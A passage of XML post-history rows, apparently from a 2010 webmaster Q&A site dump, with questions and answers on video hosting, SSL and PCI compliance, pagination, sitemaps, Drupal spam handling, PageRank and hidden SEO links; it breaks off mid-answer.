  <row Id="6291" PostHistoryTypeId="2" PostId="3211" RevisionGUID="012a023b-7b4f-4a70-8337-11555fe89545" CreationDate="2010-09-22T20:36:51.417" UserId="233" Text="Is it definitely a bot? Do you have a user-agent? And is there a referer [sic] header for those requests?&#xD;&#xA;&#xD;&#xA;A Google search doesn't bring up anything remotely significant so I don't think it's related to robots.txt, nor anything like a bot polling for security flaws.&#xD;&#xA;&#xD;&#xA;It is likely to be something simple like a mistyped link to your site - for example you have a page &quot;usb.html&quot; or &quot;rush.html&quot;, or perhaps a site with a similar domain name has the page &quot;ush.html&quot;." />
  <row Id="6292" PostHistoryTypeId="2" PostId="3212" RevisionGUID="f6532718-042b-4b7b-a436-e428e428e070" CreationDate="2010-09-22T22:15:45.933" UserId="1374" Text="I have a client that basically wants youtube between a login screen.  I know youtube offers private video hosting but they cap users to 25 when what I need is a few hundred.  Preferably the videos would be hosted by them." />
  <row Id="6293" PostHistoryTypeId="1" PostId="3212" RevisionGUID="f6532718-042b-4b7b-a436-e428e428e070" CreationDate="2010-09-22T22:15:45.933" UserId="1374" Text="What are my options for private video hosting?" />
  <row Id="6294" PostHistoryTypeId="3" PostId="3212" RevisionGUID="f6532718-042b-4b7b-a436-e428e428e070" CreationDate="2010-09-22T22:15:45.933" UserId="1374" Text="&lt;video&gt;" />
  <row Id="6295" PostHistoryTypeId="2" PostId="3213" RevisionGUID="0ce4fe68-bc69-468a-beb1-02d5247e87e2" CreationDate="2010-09-22T22:42:20.793" UserId="24" Text="YouTube also offers &quot;unlisted&quot; videos which allow you to put a video on YouTube but not have it show up on your user page or in searches - you just require the URL in order to find it.&#xD;&#xA;&#xD;&#xA;[More Details at the YouTube help page](http://www.google.com/support/youtube/bin/answer.py?hl=en&amp;answer=181547)" />
  <row Id="6296" PostHistoryTypeId="2" PostId="3214" RevisionGUID="ff6ea186-dd04-4cc0-9759-40efc3655862" CreationDate="2010-09-22T22:48:11.733" UserId="1074" Text="Google Webmaster tools will report on broken links.  It's a simple tool, free to install to a website.....and platform agnostic.  If you're not already using it, it can help you boost your SEO and useability as well.&#xD;&#xA;&#xD;&#xA;https://www.google.com/webmasters/tools/home?hl=en&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6300" PostHistoryTypeId="2" PostId="3216" RevisionGUID="c7dc61b3-53aa-487c-b9aa-7fdcef57eac8" CreationDate="2010-09-23T00:32:10.023" UserId="43" Text="[Vimeo Plus][1] is $9.95/month or $59.95/year, and offers domain level privacy:&#xD;&#xA;&#xD;&#xA;&gt;Choose exactly where your videos can be embedded on the web. There are no limits to the number of websites you can choose and you'll always have complete control of your video outside of Vimeo. You even have the option to completely hide your video on Vimeo.com so it will only show up on the sites you want it to, and nowhere else.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vimeo.com/plus" />
  <row Id="6301" PostHistoryTypeId="2" PostId="3217" RevisionGUID="80e2542c-ca4c-4a5d-b2dc-b00ea35637d3" CreationDate="2010-09-23T03:01:10.500" UserId="2035" Text="I'm a web developer for a year and a half now. I work particularly on client-side. I'm good at (x)HTML/CSS/Javascript/jQuery. &#xD;&#xA;&#xD;&#xA;My work goes in converting PSD files to (x)HTML. (PSD files came from clients)&#xD;&#xA;&#xD;&#xA;Now I'm planning to go on designing too. My knowledge of photoshop is just the basic, I guess - Just the things I need to effectively convert PSD files to a web page.&#xD;&#xA;&#xD;&#xA;I'm really eager to learn. My questions:&#xD;&#xA;&#xD;&#xA; - How can I learn this with just the internet and me?&#xD;&#xA; - Are there steps or guides you know that could help me as a newbie?&#xD;&#xA; - What are the challenges I may face and what can you suggest?&#xD;&#xA; - What tool(s) would you suggest?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="6302" PostHistoryTypeId="1" PostId="3217" RevisionGUID="80e2542c-ca4c-4a5d-b2dc-b00ea35637d3" CreationDate="2010-09-23T03:01:10.500" UserId="2035" Text="web designer question" />
  <row Id="6303" PostHistoryTypeId="3" PostId="3217" RevisionGUID="80e2542c-ca4c-4a5d-b2dc-b00ea35637d3" CreationDate="2010-09-23T03:01:10.500" UserId="2035" Text="&lt;website-design&gt;" />
  <row Id="6304" PostHistoryTypeId="2" PostId="3218" RevisionGUID="7eca6fad-45c3-46a7-9518-7c2324e82a91" CreationDate="2010-09-23T04:49:38.847" UserId="2044" Text="I am here in order to collect the information for making secure online transaction. My client has got a online shopping site. We are now having cart in our own site and transfering the cart detail to paypal and making the payment via paypal.&#xD;&#xA;&#xD;&#xA;So now i would like to add the credit card request page in own site and process it so i would like to know what are my requirements" />
  <row Id="6305" PostHistoryTypeId="1" PostId="3218" RevisionGUID="7eca6fad-45c3-46a7-9518-7c2324e82a91" CreationDate="2010-09-23T04:49:38.847" UserId="2044" Text="What is SSL Hosting and what are the requirements for making secure transaction " />
  <row Id="6306" PostHistoryTypeId="3" PostId="3218" RevisionGUID="7eca6fad-45c3-46a7-9518-7c2324e82a91" CreationDate="2010-09-23T04:49:38.847" UserId="2044" Text="&lt;ssl&gt;&lt;php&gt;&lt;ssl-certificate&gt;" />
  <row Id="6309" PostHistoryTypeId="2" PostId="3219" RevisionGUID="8918c6b1-4ae6-4aaf-823c-d13e3e4e47a2" CreationDate="2010-09-23T06:39:35.820" UserId="1423" Text="The typical design for a paging panels (of search engines and the like) looks like this:&#xD;&#xA;&#xD;&#xA;    Previous 11 12 [13] 14 15 16 17 18 19 20 Next&#xD;&#xA;&#xD;&#xA;But if you read that you would expect (if not educated by search engines) that &quot;Next&quot; will lead to the successor of page &quot;20&quot; and not of &quot;13&quot;. If we need &quot;Previous&quot; and &quot;Next&quot; at all, wouldn't it be better to place it, where their meaning is obvious?&#xD;&#xA;&#xD;&#xA;     11 12 Previous [13] Next 14 15 16 17 18 19 20 &#xD;&#xA;&#xD;&#xA;or maybe&#xD;&#xA;&#xD;&#xA;     11 12 &lt; [13] &gt; 14 15 16 17 18 19 20&#xD;&#xA;&#xD;&#xA;The question is: is &quot;Previous&quot; and &quot;Next&quot; really useful and if so where to place it?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6310" PostHistoryTypeId="1" PostId="3219" RevisionGUID="8918c6b1-4ae6-4aaf-823c-d13e3e4e47a2" CreationDate="2010-09-23T06:39:35.820" UserId="1423" Text="Design for paging panels" />
  <row Id="6311" PostHistoryTypeId="3" PostId="3219" RevisionGUID="8918c6b1-4ae6-4aaf-823c-d13e3e4e47a2" CreationDate="2010-09-23T06:39:35.820" UserId="1423" Text="&lt;website-design&gt;&lt;usability&gt;" />
  <row Id="6312" PostHistoryTypeId="2" PostId="3220" RevisionGUID="02b3bc58-5a54-407f-b16c-ccc7ccdb6bd7" CreationDate="2010-09-23T06:41:48.057" UserId="745" Text="**Practice**. &#xD;&#xA;&#xD;&#xA;**Practice using Photoshop and learning how to use it as a tool**. Each new Photoshop tool and technique you add to your knowledge will expand what you're able to do by a great deal. There are [hundreds][1] and [thousands][2] of good tutorials on the net that will teach you how to use Photoshop.&#xD;&#xA;&#xD;&#xA;**Practice by copying other people's work**. Don't copy it to sell, copy it to practice on your own. If you see a website you like, try creating the mockup for it in Photoshop. Ditto for any graphics, icons or effects that you see. As you learn the techniques and develop a feel for what's out there, you will find your own artistic touch.&#xD;&#xA;&#xD;&#xA;**Practice your basic drawing and design skills**. If you don't understand the basics, every design you make will end up looking amateur or off in some undefinable way. At the bare minimum, you need to understand the following: color theory, contrast, repetition, alignment, proximity, whitespace, font choice and setting, perspective, minimalism.&#xD;&#xA;&#xD;&#xA;**Practice your business acumen**. Form must meet function. Your website designs must have purpose. Understand that each web page has a primary goal and other lesser goals. It's your job as the designer to call attention to those goals. Everything else is clutter. Also understand that there are the website's goals and the user's goals and they may not always be the same. Good design and higher conversion rates are found at the intersection of business and user goals.&#xD;&#xA;&#xD;&#xA;**Practice asking for help**. Actively seek out criticism of your designs and don't hold on emotionally to any one design too closely. Seek improvement, not gratuitous praise. Push yourself creatively, but always strive for ease of use and clarity in your designs.&#xD;&#xA;&#xD;&#xA;**Practice patience**. To get to a professional level, you'll need to spend a lot of hours tweaking and adjusting your designs. Photoshop may be digital, but to do it right, it takes just as much time as any painting. You'll fail a lot at first. What you think is amazing, others may not. You will get there eventually. Persevere.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://psd.tutsplus.com/&#xD;&#xA;  [2]: http://abduzeedo.com/" />
  <row Id="6313" PostHistoryTypeId="2" PostId="3221" RevisionGUID="f69939ec-8b33-4ee4-bd80-909db506aaf9" CreationDate="2010-09-23T06:46:20.467" UserId="745" Text="You may find the [design pattern][1] I suggested on User Interface helpful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ui.stackexchange.com/questions/789/pagination-best-practice/793#793" />
  <row Id="6314" PostHistoryTypeId="2" PostId="3222" RevisionGUID="9d37ec34-23a2-41b6-bbcc-c885153e28e6" CreationDate="2010-09-23T07:20:16.753" UserId="1955" Text="First of all check can you use SSL with your current hosting solutions(you will have to ask your hosting company for this). If you are using dedicated server or virtual private server this should not be a problem. But if you are using shared hosting you will need an [IP based][1] one to use SSL. Just ask your hosting provider.&#xD;&#xA;&#xD;&#xA;Second of all use the SSL only where necessary, you do not need it on all pages(only for those with the sensitive data). Then choose a SSL certificate provider (GoDaddy, VerySign, Comodo etc.). They will have to check your company, make some phone calls etc. to prove that your business is not a fake and then they will issue you a certificate that your hosting provider will have to install for your website. &#xD;&#xA;&#xD;&#xA;Hope this helps )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Shared_web_hosting_service#IP-based" />
  <row Id="6315" PostHistoryTypeId="2" PostId="3223" RevisionGUID="834b6552-baa7-43bf-bb5a-04730351e4db" CreationDate="2010-09-23T07:56:17.457" UserId="1424" Text="1) How can I know how many people is connected to the server in a specific moment (or previous hours of the day). (Even in real-time)&#xD;&#xA;&#xD;&#xA;2) How can I know which one of the websites on my server they are visiting. (The websites are in different folders&#xD;&#xA;&#xD;&#xA;3) How can I see their ips ?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="6316" PostHistoryTypeId="1" PostId="3223" RevisionGUID="834b6552-baa7-43bf-bb5a-04730351e4db" CreationDate="2010-09-23T07:56:17.457" UserId="1424" Text="how can I see who is connecting to my websites on my server and possibly their ips ? " />
  <row Id="6317" PostHistoryTypeId="3" PostId="3223" RevisionGUID="834b6552-baa7-43bf-bb5a-04730351e4db" CreationDate="2010-09-23T07:56:17.457" UserId="1424" Text="&lt;server&gt;&lt;traffic&gt;&lt;ip-address&gt;" />
  <row Id="6318" PostHistoryTypeId="2" PostId="3224" RevisionGUID="b00894c7-2a9b-4ece-aff6-d27b6f4d21e5" CreationDate="2010-09-23T08:44:01.090" UserId="1320" Text="Does anyone recommend either&#xD;&#xA;&#xD;&#xA; - a php script that I can run as a CRON&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA; - somekind of thirdparty tool i can use&#xD;&#xA;   to create sitemaps?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My website is events bases and so the pages are pretty temporal with 20+ new pages per day...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Google suggests these: http://code.google.com/p/sitemap-generators/wiki/SitemapGenerators&#xD;&#xA;However they all look pretty old and i was wondering if there's some flashy new tool to do it with!" />
  <row Id="6319" PostHistoryTypeId="1" PostId="3224" RevisionGUID="b00894c7-2a9b-4ece-aff6-d27b6f4d21e5" CreationDate="2010-09-23T08:44:01.090" UserId="1320" Text="easy tool for creating XML sitemaps? (constantly expanding site)" />
  <row Id="6320" PostHistoryTypeId="3" PostId="3224" RevisionGUID="b00894c7-2a9b-4ece-aff6-d27b6f4d21e5" CreationDate="2010-09-23T08:44:01.090" UserId="1320" Text="&lt;seo&gt;&lt;google&gt;&lt;php&gt;&lt;sitemap&gt;" />
  <row Id="6324" PostHistoryTypeId="2" PostId="3226" RevisionGUID="f7a34671-6ba4-450a-bf03-ab2cab94ee90" CreationDate="2010-09-23T09:03:59.113" UserId="2046" Text="I use the antispam module and configured it to let akismet check for spam. Works very well for me. It does mean you still get a lot of spam messages, but they are filtered out nearly flawlessly." />
  <row Id="6325" PostHistoryTypeId="2" PostId="3227" RevisionGUID="7e8510ca-ddab-45f3-89e1-9c0e8bba13e7" CreationDate="2010-09-23T09:04:50.987" UserId="2046" Text="I have a drupal 6 site running with blogs on it. I use the comment notify module to implement wordpress-like notification of new comments and the antispam module for keeping the spam off the site.&#xD;&#xA;&#xD;&#xA;The issue I have is that commenters get email notification for each comment, including the spam ones, eventhough the antispam module filters those out nicely. My question: how can I configure both modules such that only email notification go out in case of ham comments? Do I need additional modules to make this happen? Any suggestions?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;Nick.&#xD;&#xA;" />
  <row Id="6326" PostHistoryTypeId="1" PostId="3227" RevisionGUID="7e8510ca-ddab-45f3-89e1-9c0e8bba13e7" CreationDate="2010-09-23T09:04:50.987" UserId="2046" Text="How to configure comment notification such that no emails are sent in case of spam?" />
  <row Id="6327" PostHistoryTypeId="3" PostId="3227" RevisionGUID="7e8510ca-ddab-45f3-89e1-9c0e8bba13e7" CreationDate="2010-09-23T09:04:50.987" UserId="2046" Text="&lt;spam&gt;&lt;drupal&gt;" />
  <row Id="6328" PostHistoryTypeId="2" PostId="3228" RevisionGUID="cc4a5f45-1dbe-4af5-9db7-cfa5a60ea70a" CreationDate="2010-09-23T09:31:56.507" UserId="1979" Text="Not a complete list:&#xD;&#xA;&#xD;&#xA; - USA &#xD;&#xA; - Canada&#xD;&#xA; - Australia&#xD;&#xA; - China (PRC)&#xD;&#xA; - Mexico&#xD;&#xA; - Malaysia&#xD;&#xA;&#xD;&#xA;Also see http://www.bitboost.com/ref/international-address-formats.html for more info.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6329" PostHistoryTypeId="2" PostId="3229" RevisionGUID="834f5d99-2b59-407d-8ba3-25a7f91978eb" CreationDate="2010-09-23T09:48:19.930" UserId="1979" Text="Maybe I'm misunderstanding what you would like to do but if the goal is to collect credit card info on your site and store it (e.g. for offline processing) then the answer is: DON'T!&#xD;&#xA;&#xD;&#xA;No offense, but there's no way you can do this in a secure way.&#xD;&#xA;&#xD;&#xA;If you want to achieve something else please update your question to clarify." />
  <row Id="6330" PostHistoryTypeId="2" PostId="3230" RevisionGUID="3be821b9-632b-4c86-b97a-12254a75acc3" CreationDate="2010-09-23T10:47:28.143" UserId="576" Text="For web servers like [IIS][1] &amp; [Apache][2], you can configure website logging to track visitors. While setting it up, you can specify what details (like date/time, IP address of visitor, status of the request etc) you wish to capture. There are log file analyzer tools that you can then use to conveniently view desired details. &#xD;&#xA;&#xD;&#xA;Alternatively, you can use one of the many [Web Analytics tools][3] that are available to track visitors&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.microsoft.com/kb/324279&#xD;&#xA;  [2]: http://articles.sitepoint.com/article/configuring-web-logs-apache&#xD;&#xA;  [3]: http://mvark.blogspot.com/2010/04/comparison-of-free-web-analytics-tools.html" />
  <row Id="6331" PostHistoryTypeId="2" PostId="3231" RevisionGUID="25f41dc7-ac93-42b9-824f-f60e33585fae" CreationDate="2010-09-23T10:58:10.263" UserId="1204" Text="If you are planning to handle credit card data in *any* way, even only temporarily, then you *must* be compliant with [PCI/DSS][1]. It can be a lot of work to properly achieve and maintain compliance so it is generally recommended that you avoid handling CC data as much as possible, pushing the responsibility for payment details security to the company/companies that handle your payments (i.e. paypal and/or a company that operates your merchant account and so on).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/PCI_DSS" />
  <row Id="6332" PostHistoryTypeId="5" PostId="3231" RevisionGUID="babe3dcf-003f-49ec-806b-2143839c5c6e" CreationDate="2010-09-23T11:05:48.327" UserId="1204" Comment="added 711 characters in body" Text="If you are planning to handle credit card data in *any* way, even only temporarily, then you *must* be compliant with [PCI/DSS][1]. It can be a lot of work to properly achieve and maintain compliance so it is generally recommended that you avoid handling CC data as much as possible, pushing the responsibility for payment details security to the company/companies that handle your payments (i.e. paypal and/or a company that operates your merchant account and so on).&#xD;&#xA;&#xD;&#xA;As for &quot;what is SSL hosting&quot;, SSL hosting in this context is making content and script available via HTTPS. See http://en.wikipedia.org/wiki/Https for more detail. While the use of secure protocols (i.e. HTTPS rather than plain HTTP) for the transfer of payment information is a requirement of PCI/DSS (and general common sense!) it is far from the only requirement. Also note that a cheap SSL certificate should not be used for payment processing - you should obtain an EV certificate which costs more and involves some paperwork and/or faxes/phone calls to prove that the company requesting the certificate is who they say they are and are eligible to have a certificate issued for the domain in question.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/PCI_DSS" />
  <row Id="6333" PostHistoryTypeId="5" PostId="3228" RevisionGUID="2d7eb6f4-ffcc-4315-97eb-8f6e0ada7405" CreationDate="2010-09-23T11:51:44.830" UserId="1979" Comment="added 230 characters in body" Text="Not a complete list:&#xD;&#xA;&#xD;&#xA; - USA &#xD;&#xA; - Canada&#xD;&#xA; - Australia&#xD;&#xA; - China (PRC)&#xD;&#xA; - Mexico&#xD;&#xA; - Malaysia&#xD;&#xA; - Italy (strictly speaking, we don't collect Italian provinces and I don't think we've ever had a problem with sending mail there)&#xD;&#xA;&#xD;&#xA;To the best of my knowledge no other European country requires states/provinces in addresses.&#xD;&#xA;&#xD;&#xA;Also see http://www.bitboost.com/ref/international-address-formats.html for more info.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6334" PostHistoryTypeId="2" PostId="3232" RevisionGUID="d0883975-1422-47c1-aa3d-5c98d6faa8c9" CreationDate="2010-09-23T12:01:01.463" UserId="1253" Text="If you know how to do any server side programming you can write your own dynamic sitemap script which pulls the latest information from your database each time it is called. If your site doesn't update too frequently then you can cache the results and only update when necessary." />
  <row Id="6335" PostHistoryTypeId="2" PostId="3233" RevisionGUID="781578b2-40d5-4a2d-b969-095914f340ad" CreationDate="2010-09-23T12:01:52.053" UserId="2047" Text="&#xD;&#xA;My domain, http://www.anovaordemmundial.com , has been snatched by some opportunist when I failed to renew the domain. I know, it's all my fault :/ . After I have being ripped off and bought my domain back, and everything is configured and working, the pagerank for that domain shows as unavailable.&#xD;&#xA;&#xD;&#xA;Also searches for &quot;nova ordem mundial&quot; (in portuguese), which used to show my domain as the first result in searches in any language, now don't show it anymore.&#xD;&#xA;&#xD;&#xA;Do you think this is something temporary and it will recover its pagerank after a full crawl by google? There exists hundreds of sites pointing to my domain, that is why I got the previous relevance in searches.&#xD;&#xA;&#xD;&#xA;The domain is back for more than 5 days already. In reality, bing already&#xD;&#xA;&#xD;&#xA;Is there anything I can do to help get my domain back to its pagerank???&#xD;&#xA;&#xD;&#xA;Thanks for the help!&#xD;&#xA;" />
  <row Id="6336" PostHistoryTypeId="1" PostId="3233" RevisionGUID="781578b2-40d5-4a2d-b969-095914f340ad" CreationDate="2010-09-23T12:01:52.053" UserId="2047" Text="My domain PageRank shows as unavailable, why is that?" />
  <row Id="6337" PostHistoryTypeId="3" PostId="3233" RevisionGUID="781578b2-40d5-4a2d-b969-095914f340ad" CreationDate="2010-09-23T12:01:52.053" UserId="2047" Text="&lt;domains&gt;&lt;pagerank&gt;&lt;blog&gt;" />
  <row Id="6338" PostHistoryTypeId="2" PostId="3234" RevisionGUID="77a6a622-9c61-40c8-8a45-50e87cb61cee" CreationDate="2010-09-23T12:09:54.520" UserId="1253" Text="Five days? Nothing happens with PR in five days. You probably have to wait for weeks or months before you can see a PR update in your toolbar However, that doesn't mean you don't have any PR yet. You just can't see it yet.&#xD;&#xA;&#xD;&#xA;Do you use Google webmaster tools? If so check to see if there are any messages for you from Google. The temporary owners may have done some things that warrant action by you to correct it." />
  <row Id="6339" PostHistoryTypeId="2" PostId="3235" RevisionGUID="1888036a-6f61-47c7-b201-338f04d83886" CreationDate="2010-09-23T12:14:46.280" UserId="1979" Text="I see where you're coming from but would argue that the existing design pattern still makes more sense:&#xD;&#xA;&#xD;&#xA; - It's established; who has not seen it?&#xD;&#xA; - Previous/Next are the most important elements; aside from some cases (e.g. results sorted alphabetically) it makes little sense to jump to some page number&#xD;&#xA; - Being the most important elements they should be placed at the edge of the element so they're easy to find and click on&#xD;&#xA; - One goal of the existing pattern is to keep Previous/Next in the same position. You can't achieve this with what you suggested.&#xD;&#xA;&#xD;&#xA;Also see http://developer.yahoo.com/ypatterns/navigation/pagination/search.html" />
  <row Id="6340" PostHistoryTypeId="5" PostId="3207" RevisionGUID="4ed23cf6-c064-4a9b-8e5f-f2f85039623b" CreationDate="2010-09-23T13:40:23.540" UserId="70" Comment="Added an update regarding possible jQuery vs. MooTools conflict." Text="**Update:**&#xD;&#xA;&gt; I found one particular file mootools.js takes a lot of time to load in ylsow, but opening the file directly - there is no delay.&#xD;&#xA;&#xD;&#xA;That's a pretty good hint eventually - is MooTools really required? Drupal uses jQuery exclusively in core and most contributed modules do likewise, so please be advised that using more than one major JavaScript framework at the same time, while possible, is generally not recommended by most developers, usually [requires dedicated handling at least][1] and might introduce all sort of weird (i.e. hard to debug) issues regardless:  &#xD;&#xA;You'll find *many* related posts within [jQuery+MooTools][2] on Stack Overflow, see this exemplary answer to [Mootools and JQuery Integration][3] mentioning huge page slow downs specifically.&#xD;&#xA;&#xD;&#xA;Given that you are *not using many modules* I suppose only an isolated area of functionality is asking for MooTools specifically, consequently I suggest you turn that off entirely (i.e. make sure mootools.js is not loaded anymore) and see whether it makes any difference.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;You might check out the various answers on a [respective question on Stack Overflow][4] - while they do mostly overlap with the ones given here in the meantime, there is some additional insight spread in the comments here and there.&#xD;&#xA;&#xD;&#xA;Other than that I'd like to stress one important thing again, as mentioned by [DisgruntledGoat][5] and [bpeterson76][6] already to some extent (+1 each):&#xD;&#xA;&#xD;&#xA;Despite Drupal not being the fastest CMS in the first place, the page load times you are seeing **aren't normal** at all (though possible on badly configured systems/servers) - therefore you really should **analyze and identify the cause(s) first**, before applying optimizations of any kind! Sure, some recommended optimizations *might* help even without that, but the golden rule for performance (and other) optimizations really is to understand the problem rather than trial and error.&#xD;&#xA;&#xD;&#xA;To get you started I'd like to  comment on three topics raised specifically and provide a pointer to more thorough documentation regarding the subject matter below:&#xD;&#xA;&gt; I have tried switching the VPS, but no performance gain&#xD;&#xA;&#xD;&#xA;* Okay, still you should check explicitly, whether the VPS and LAMP stack in use are performing normal in the first place (i.e. without Drupal)?&#xD;&#xA; * The answer from [bpeterson76][7] addresses possible causes.&#xD;&#xA;&#xD;&#xA;&gt; I think the main culprit is the theme.&#xD;&#xA;&#xD;&#xA;* Then you should verify this assumption, which is easily done by switching to another theme, preferably one with known performance characteristics, e.g. the default Garland theme.&#xD;&#xA;&#xD;&#xA;&gt; I don't think the SQL query is at fault. &#xD;&#xA;&#xD;&#xA;* You already realized that you should verify this assumption as well - this can be approached in various way, I'd start with the [devel module][8], which has various offers regarding *Performance Logging* including *SQL execution time* (the other stuff is useful as well of course).&#xD;&#xA; * Please note that for more precise SQL execution times you should resort to dedicated tools for the database system in use.&#xD;&#xA;&#xD;&#xA;All this, and a whole lot more, is addressed via [Drupal caching, speed and performance][9] - this resource hub might look overwhelming at first sight, but as I said **understanding the problem is key** for solving performance issues - to allow for a jump start still eventually, I specifically recommend to read [Server tuning considerations][10], in particular section *Understanding and configuring your stack for performance*.&#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.jquery.com/Using_jQuery_with_Other_Libraries&#xD;&#xA;  [2]: http://stackoverflow.com/questions/tagged/jquery+mootools&#xD;&#xA;  [3]: http://stackoverflow.com/questions/491066/mootools-and-jquery-integration/491141#491141&#xD;&#xA;  [4]: http://stackoverflow.com/questions/711705/tips-on-speeding-up-drupal-site&#xD;&#xA;  [5]: #3191&#xD;&#xA;  [6]: #3200&#xD;&#xA;  [7]: #3200&#xD;&#xA;  [8]: http://drupal.org/project/devel&#xD;&#xA;  [9]: http://drupal.org/node/326504&#xD;&#xA;  [10]: http://drupal.org/node/2601" />
  <row Id="6341" PostHistoryTypeId="2" PostId="3236" RevisionGUID="a5bf6a80-b917-4085-a4b8-0febd81a7d2e" CreationDate="2010-09-23T14:48:23.210" UserId="2049" Text="I have several sites on the same topic but still competitive to each other. I would like to put cross links on these sites in text so they won't be visible/&quot;clicakble&quot; but still indexable by search engine. What's the best way to do it i.e. what kind of HTML/CSS magic to apply? &#xD;&#xA;&#xD;&#xA;As far as I understand this is a &quot;White Hat SEO&quot; technique and will help to increase relevance of the web sites." />
  <row Id="6342" PostHistoryTypeId="1" PostId="3236" RevisionGUID="a5bf6a80-b917-4085-a4b8-0febd81a7d2e" CreationDate="2010-09-23T14:48:23.210" UserId="2049" Text="What's the best way to put invisible for user but indexable link?" />
  <row Id="6343" PostHistoryTypeId="3" PostId="3236" RevisionGUID="a5bf6a80-b917-4085-a4b8-0febd81a7d2e" CreationDate="2010-09-23T14:48:23.210" UserId="2049" Text="&lt;seo&gt;&lt;html&gt;&lt;links&gt;" />
  <row Id="6344" PostHistoryTypeId="2" PostId="3237" RevisionGUID="5b77a3f0-4f8d-4426-a859-50a0cb880912" CreationDate="2010-09-23T14:57:47.983" UserId="2049" Text="I'm new to WordPress CMS and have just created a site+blog using it. What set of plug-ins do you recommend me to install? I believe there are some useful, proven and &quot;must have&quot; WordPress plug-ins for SEO, optimization of the site, social network and bookmarking services, spam prevention, etc. that you usually use in your projects. Thanks!&#xD;&#xA;&#xD;&#xA;PS The question I ask might look as subjective, but I believe there is a certain set of plug-ins which is useful for every WordPress project." />
  <row Id="6345" PostHistoryTypeId="1" PostId="3237" RevisionGUID="5b77a3f0-4f8d-4426-a859-50a0cb880912" CreationDate="2010-09-23T14:57:47.983" UserId="2049" Text="What WordPress plugins are &quot;must have&quot; for a site?" />
  <row Id="6346" PostHistoryTypeId="3" PostId="3237" RevisionGUID="5b77a3f0-4f8d-4426-a859-50a0cb880912" CreationDate="2010-09-23T14:57:47.983" UserId="2049" Text="&lt;wordpress&gt;&lt;plugin&gt;" />
  <row Id="6347" PostHistoryTypeId="5" PostId="3228" RevisionGUID="f2fc42b8-6176-49d4-a66e-978d480a18f3" CreationDate="2010-09-23T15:06:46.280" UserId="1979" Comment="corrected spelling" Text="Not a complete list:&#xD;&#xA;&#xD;&#xA; - USA &#xD;&#xA; - Canada&#xD;&#xA; - Australia&#xD;&#xA; - China (PRC)&#xD;&#xA; - Mexico&#xD;&#xA; - Malaysia&#xD;&#xA; - Italy (strictly speaking; we don't collect Italian provinces and I don't think we've ever had a problem with sending mail there)&#xD;&#xA;&#xD;&#xA;To the best of my knowledge no other European country requires states/provinces in addresses.&#xD;&#xA;&#xD;&#xA;Also see http://www.bitboost.com/ref/international-address-formats.html for more info.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6348" PostHistoryTypeId="2" PostId="3238" RevisionGUID="056f94dd-038f-4dcc-be6b-a3af33c169b9" CreationDate="2010-09-23T15:06:57.993" UserId="2049" Text="Here in Russia we are about to launch a new Cyrillic domain zone, i.e. where you can spell domain names in Cyrillic alphabet instead of Latin. Currently we have a national zone &quot;.ru&quot; which allows only Latin characters. Many people believe that the new domain zone won't be successful in terms of search engine optimization and popularity. Do you know any example of regional non-Latin domain zones and what was the impact on the web industry of these new domains (i.e. changes in search engines ranking, changes in popularity, domain names migration, etc.)?" />
  <row Id="6349" PostHistoryTypeId="1" PostId="3238" RevisionGUID="056f94dd-038f-4dcc-be6b-a3af33c169b9" CreationDate="2010-09-23T15:06:57.993" UserId="2049" Text="What can be the impact of non-Latin domain zone launch?" />
  <row Id="6350" PostHistoryTypeId="3" PostId="3238" RevisionGUID="056f94dd-038f-4dcc-be6b-a3af33c169b9" CreationDate="2010-09-23T15:06:57.993" UserId="2049" Text="&lt;domains&gt;" />
  <row Id="6351" PostHistoryTypeId="2" PostId="3239" RevisionGUID="c39b6943-83e2-4ea2-8c73-e5ed824fd9bc" CreationDate="2010-09-23T15:13:41.337" UserId="1953" Text="I've seen a lot of instances where domain's changing hands can cause indexing issues (IE if they just parked your domain or put up a place holder all of the URL's that were indexed would return as 404 this will cause them to drop out of the index given enough time, or auto increment settings cause all of the page/post ID's to change in the URL string making new URLs for your entire site when you restore from a backup, etc.) I would do a quick check to see how the number of indexed pages now correlates to the number of pages indexed before. It may be as simple as running some redirects and building new links to key pages." />
  <row Id="6352" PostHistoryTypeId="2" PostId="3240" RevisionGUID="7d406ffd-12f4-40ed-8bda-a99a19ad7871" CreationDate="2010-09-23T15:18:11.553" UserId="1979" Text="I would advise against doing it. Search engines get better and better at detecting such tricks. No matter what you do, some day search engines will notice it. It's not worth it and it's certainly not &quot;white hat&quot;.&#xD;&#xA;&#xD;&#xA;From http://www.google.com/support/webmasters/bin/answer.py?answer=35769 (emphasis mine):&#xD;&#xA;&#xD;&#xA;&gt;  - Make pages primarily for users, not for search engines. Don't deceive your&#xD;&#xA;&gt; users or **present different content&#xD;&#xA;&gt; to search engines than you display to&#xD;&#xA;&gt; users, which is commonly referred to&#xD;&#xA;&gt; as &quot;cloaking.&quot;**&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - Avoid tricks intended to improve search engine rankings. A good rule of&#xD;&#xA;&gt; thumb is whether you'd feel&#xD;&#xA;&gt; comfortable explaining what you've&#xD;&#xA;&gt; done to a website that competes with&#xD;&#xA;&gt; you. Another useful test is to ask,&#xD;&#xA;&gt; &quot;Does this help my users? Would I do&#xD;&#xA;&gt; this if search 